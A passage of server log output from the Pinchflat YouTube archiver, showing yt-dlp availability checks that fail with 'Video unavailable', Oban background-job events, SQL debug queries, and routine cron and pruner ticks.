/tmp/pinchflat/data/5d/8a/5d8ad07d2d5d24ca63d2af367c9041831be6038ab4854cf9b8136d6ffaf58101.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:44:57.081 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=EcNIYfYhbi0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4f/78/4f78979b5303224c23ab20cd14283c4e2c63833fbf972d70b4f25547b15de3fc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] EcNIYfYhbi0: Video unavailable 19:44:57.081 [error] yt-dlp download error for media item #90894: "ERROR: [youtube] EcNIYfYhbi0: Video unavailable\n" 19:44:57.082 [error] yt-dlp download will not be retried: "ERROR: [youtube] EcNIYfYhbi0: Video unavailable\n" 19:44:57.082 [info] {"args":{"id":90894},"id":7284,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1395119,"event":"job:stop","queue_time":1686392,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:57.089 [info] {"args":{"id":91114},"id":7286,"meta":{},"system_time":1780530297088963399,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:57.089 [debug] QUERY OK source="media_items" db=0.2ms idle=1317.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 19:44:57.089 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:44:57.089 [debug] QUERY OK source="sources" db=0.2ms idle=1018.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:57.090 [debug] QUERY OK source="media_profiles" db=0.2ms idle=17.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:57.090 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91114] 19:44:57.091 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [91114] 19:44:57.091 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:57.092 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:57.092 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:57.092 [debug] Running yt-dlp command for action: get_downloadable_status 19:44:57.093 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:57.093 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:57.093 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:57.093 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=S9J4mOuAeTg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e9/1e/e91e2a601b52c744e139000e0d532c881fb9c2da57a8d3d6619c2d4df90305fe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:44:57.104 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CM6mOyxvwlo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5d/8a/5d8ad07d2d5d24ca63d2af367c9041831be6038ab4854cf9b8136d6ffaf58101.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] CM6mOyxvwlo: Video unavailable 19:44:57.104 [error] yt-dlp download error for media item #90907: "ERROR: [youtube] CM6mOyxvwlo: Video unavailable\n" 19:44:57.104 [error] yt-dlp download will not be retried: "ERROR: [youtube] CM6mOyxvwlo: Video unavailable\n" 19:44:57.104 [info] {"args":{"id":90907},"id":7285,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1337344,"event":"job:stop","queue_time":1766317,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:58.448 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=S9J4mOuAeTg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e9/1e/e91e2a601b52c744e139000e0d532c881fb9c2da57a8d3d6619c2d4df90305fe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] S9J4mOuAeTg: Video unavailable 19:44:58.448 [error] yt-dlp download error for media item #91114: "ERROR: [youtube] S9J4mOuAeTg: Video unavailable\n" 19:44:58.448 [error] yt-dlp download will not be retried: "ERROR: [youtube] S9J4mOuAeTg: Video unavailable\n" 19:44:58.448 [info] {"args":{"id":91114},"id":7286,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1359253,"event":"job:stop","queue_time":3088337,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:45:00.128 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:45:02.863 [info] {"source":"oban","duration":1923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:32.866 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.130 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:46:02.869 [info] {"source":"oban","duration":1836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:32.872 [info] {"source":"oban","duration":1785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.132 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:47:02.875 [info] {"source":"oban","duration":2377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:32.878 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.134 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:48:02.881 [info] {"source":"oban","duration":1866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:32.884 [info] {"source":"oban","duration":1896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.136 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:49:02.887 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:32.890 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.137 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:50:02.893 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:32.895 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.139 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:51:02.897 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:32.900 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.140 [info] {"source":"oban","duration":215,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:52:02.902 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:32.905 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.142 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:53:02.908 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:32.911 [info] {"source":"oban","duration":2026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.144 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:54:02.914 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:32.917 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.146 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:55:02.920 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:32.923 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:00.147 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:56:02.925 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:56:32.928 [info] {"source":"oban","duration":2108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:00.149 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:57:02.931 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:32.934 [info] {"source":"oban","duration":1971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.150 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:58:02.936 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:32.938 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.151 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:59:02.940 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:32.941 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.152 [info] {"source":"oban","duration":162,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:00:02.943 [info] {"source":"oban","duration":1916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":12} 20:00:32.945 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.153 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:01:02.947 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:32.948 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.154 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:02:02.949 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:32.951 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.155 [info] {"source":"oban","duration":117,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:03:02.952 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:32.953 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.156 [info] {"source":"oban","duration":184,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:04:02.955 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:32.955 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.157 [info] {"source":"oban","duration":111,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:05:02.956 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:32.959 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.159 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:06:02.961 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:32.964 [info] {"source":"oban","duration":1989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.161 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:07:02.967 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:32.969 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.163 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:08:02.972 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:32.975 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.164 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:09:02.977 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:32.980 [info] {"source":"oban","duration":1731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.166 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:10:02.982 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:32.985 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.168 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:11:02.987 [info] {"source":"oban","duration":1805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:32.990 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.169 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:12:02.993 [info] {"source":"oban","duration":2192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:32.996 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.171 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:13:02.999 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:33.000 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.173 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:14:03.003 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:33.006 [info] {"source":"oban","duration":1697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.173 [info] {"source":"oban","duration":154,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:15:03.008 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:33.011 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.175 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:16:03.014 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:33.016 [info] {"source":"oban","duration":2302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.177 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:17:03.019 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:33.021 [info] {"source":"oban","duration":1943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.178 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:18:03.024 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:33.027 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.179 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:19:03.030 [info] {"source":"oban","duration":2167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:33.033 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.181 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:20:03.036 [info] {"source":"oban","duration":2090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:33.039 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.182 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:21:03.042 [info] {"source":"oban","duration":1797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:33.045 [info] {"source":"oban","duration":2239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.184 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:22:03.049 [info] {"source":"oban","duration":2947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:33.052 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.185 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:23:03.055 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:33.058 [info] {"source":"oban","duration":2081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.187 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:24:03.060 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:33.063 [info] {"source":"oban","duration":2258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.188 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:25:03.065 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:33.068 [info] {"source":"oban","duration":1809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.190 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:26:03.071 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:33.074 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.192 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:27:03.077 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:33.080 [info] {"source":"oban","duration":2023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.193 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:28:03.083 [info] {"source":"oban","duration":1663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:33.086 [info] {"source":"oban","duration":1718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.195 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:29:03.088 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:33.091 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.197 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:30:03.094 [info] {"source":"oban","duration":2040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:33.097 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.198 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:31:03.100 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:33.103 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.199 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:32:03.106 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:33.109 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.199 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:33:03.112 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:33.115 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.201 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:34:03.117 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:33.120 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.203 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:35:03.122 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:33.125 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.205 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:36:03.127 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:33.130 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.207 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:37:03.133 [info] 